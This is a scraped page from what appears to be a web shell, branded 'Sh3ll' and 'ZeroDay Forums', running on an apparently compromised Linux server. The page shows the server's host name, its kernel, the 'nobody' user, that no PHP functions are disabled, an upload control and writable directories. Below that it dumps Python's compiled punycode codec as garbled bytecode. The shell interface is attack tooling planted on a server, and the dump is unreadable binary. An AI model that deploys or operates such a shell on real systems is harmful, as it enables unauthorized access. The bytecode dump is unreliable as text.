Sh3ll
OdayForums


Server : Apache
System : Linux server1.cgrithy.com 3.10.0-1160.95.1.el7.x86_64 #1 SMP Mon Jul 24 13:59:37 UTC 2023 x86_64
User : nobody ( 99)
PHP Version : 8.1.23
Disable Function : NONE
Directory :  /opt/alt/python38/lib64/python3.8/encodings/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //opt/alt/python38/lib64/python3.8/encodings/__pycache__/punycode.cpython-38.opt-1.pyc
U

��,a��@s�dZddlZdd�Zdd�Zdd�Zd	d
�Zdd�Zd
Zdd�Zdd�Z	dd�Z
dd�Zdd�Zdd�Z
dd�ZGdd�dej�ZGdd�dej�ZGd d!�d!ej�ZGd"d#�d#eej�ZGd$d%�d%eej�Zd&d'�ZdS)(uY Codec for the Punicode encoding, as specified in RFC 3492

Written by Martin v. Löwis.
�NcCsPt�}t�}|D]*}t|�dkr0|�t|��q|�|�qt|�}t|�|fS)z 3.1 Basic code point segregation�)�	bytearray�set�ord�append�add�sorted�bytes)�str�base�extended�c�r�7/opt/alt/python38/lib64/python3.8/encodings/punycode.py�	segregate
srcCs&d}|D]}t|�|kr|d7}q|S)z@Return the length of str, considering only characters below max.r�)r)r
�max�resr
rrr�
selective_lens

rcCsNt|�}|d7}||krdS||}||kr8|d|fS||kr|d7}qdS)aReturn a pair (index, pos), indicating the next occurrence of
    char in str. index is the position of the character considering
    only ordinals up to and including char, and pos is the position in
    the full string. index/pos is the starting position in the full
    string.r)���rN)�len)r
�char�index�pos�lr
rrr�selective_findsrcCs�d}g}d}|D]r}d}}t|�}t||�}	|	d||}
t||||�\}}|dkrZq~|
||7}
|�|
d�|}d}
q>|}q|S)�3.2 Insertion unsort codingrrrr)rrrr)r
rZoldchar�resultZoldindexr
rrrZcurlen�deltarrr�insertion_unsort0s"
rcCs,d|d|}|dkrdS|dkr(dS|S)N�$r�r)�j�biasrrrr�TFsr$s$abcdefghijklmnopqrstuvwxyz0123456789cCsnt�}d}t||�}||kr2|�t|�t|�S|�t|||d|�||d|}|d7}q
dS)�(3.3 Generalized variable-length integersrr rN)rr$r�digitsr	)�Nr#rr"�trrr�generate_generalized_integerNs
r)cCsX|r|d}n|d}|||7}d}|dkr@|d}|d7}q&|d||d}|S)Ni��ri��#r �&r)r�first�numcharsZ	divisionsr#rrr�adapt[s

r/cCsPt�}d}t|�D]4\}}t||�}|�|�t||dk||d�}qt|�S)z3.4 Bias adaptation�Hrr)r�	enumerater)�extendr/r	)Zbaselen�deltasrr#Zpointsr�srrr�generate_integersjs

r5cCs8t|�\}}t||�}tt|�|�}|r4|d|S|S)N�-)rrr5r)�textrrr3rrr�punycode_encodeus
r8c
Csd}d}d}zt||�}Wn0tk
rL|dkr<td��|ddfYSX|d7}d|krjdkrxnn
|d}nHd|kr�d	kr�nn
|d
}n&|dkr�td||d��n|dfSt||�}	|||7}||	kr�||fS|d|	}|d7}qdS)
r%rr�strictzincomplete punicode stringN�A�Z�0�9�z Invalid extended code point '%s'r )r�
IndexError�UnicodeErrorr$)
r�extposr#�errorsr�wr"r�digitr(rrr�decode_generalized_numbers2


�
rEc	Cs�d}d}d}d}|t|�kr�t||||�\}}|dkr:|S||d7}||t|�d7}|dkr~|dkrvtd	|��td
�}|t|�d}|d|�t|�||d�}t||dkt|��}|}q|S)rrrr0rNri��r9zInvalid character U+%x�?)rrEr@r�chrr/)	rrrBrrr#rAZnewposrrrr�insertion_sort�s,� rHcCs�t|t�r|�d�}t|t�r&t|�}|�d�}|dkrLd}t|d���}n.t|d|�d|�}t||dd�d���}t|||�S)N�asciir6r�r)�
isinstancer
�encode�
memoryviewr	�rfind�upperrH)r7rBrrrrrr�punycode_decode�s



rPc@s eZdZddd�Zddd�ZdS)	�Codecr9cCst|�}|t|�fS�N)r8r��self�inputrBrrrrrL�szCodec.encodecCs*|dkrtd|��t||�}|t|�fS�N)r9�replace�ignorezUnsupported error handling )r@rPrrSrrr�decode�s
zCodec.decodeN)r9)r9)�__name__�
__module__�__qualname__rLrYrrrrrQ�s
rQc@seZdZddd�ZdS)�IncrementalEncoderFcCst|�SrR)r8�rTrU�finalrrrrL�szIncrementalEncoder.encodeN)F)rZr[r\rLrrrrr]�sr]c@seZdZddd�ZdS)�IncrementalDecoderFcCs$|jdkrtd|j��t||j�SrV)rBr@rPr^rrrrY�s
zIncrementalDecoder.decodeN)F)rZr[r\rYrrrrr`�sr`c@seZdZdS)�StreamWriterN�rZr[r\rrrrra�srac@seZdZdS)�StreamReaderNrbrrrrrc�srcc	Cs tjdt�jt�jttttd�S)NZpunycode)�namerLrY�incrementalencoder�incrementaldecoder�streamwriter�streamreader)	�codecs�	CodecInforQrLrYr]r`rarcrrrr�getregentry�s�rk)�__doc__rirrrrr$r&r)r/r5r8rErHrPrQr]r`rarcrkrrrr�<module>s(



ZeroDay Forums Mini